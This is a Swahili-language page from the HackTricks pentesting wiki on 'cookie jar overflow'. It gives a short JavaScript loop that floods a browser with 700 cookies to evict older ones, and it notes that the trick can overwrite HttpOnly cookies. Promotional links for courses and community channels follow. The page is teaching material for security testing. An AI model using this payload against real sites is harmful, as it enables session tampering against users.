hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

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Vivinjari vina **kikomo cha idadi ya vidakuzi** ambavyo wanaweza kuhifadhi kwa ukurasa. Kwa hivyo, ikiwa kwa sababu fulani unahitaji **kufanya kuki itoweke**, unaweza **kujaza kikombe cha kuki** kwani zile za zamani zitafutwa kwanza:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
Tambua, kuwa kuki za watu wengine zinazoelekeza kwenye kikoa tofauti hazitaandikwa upya.

{% hint style="danger" %}
Shambulio hili pia linaweza kutumika kuandika upya kuki za HttpOnly kwani unaweza kuzifuta na kisha kuzirejesha na thamani unayotaka.

Angalia hii katika [makala hii na maabara](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{% endhint %}


<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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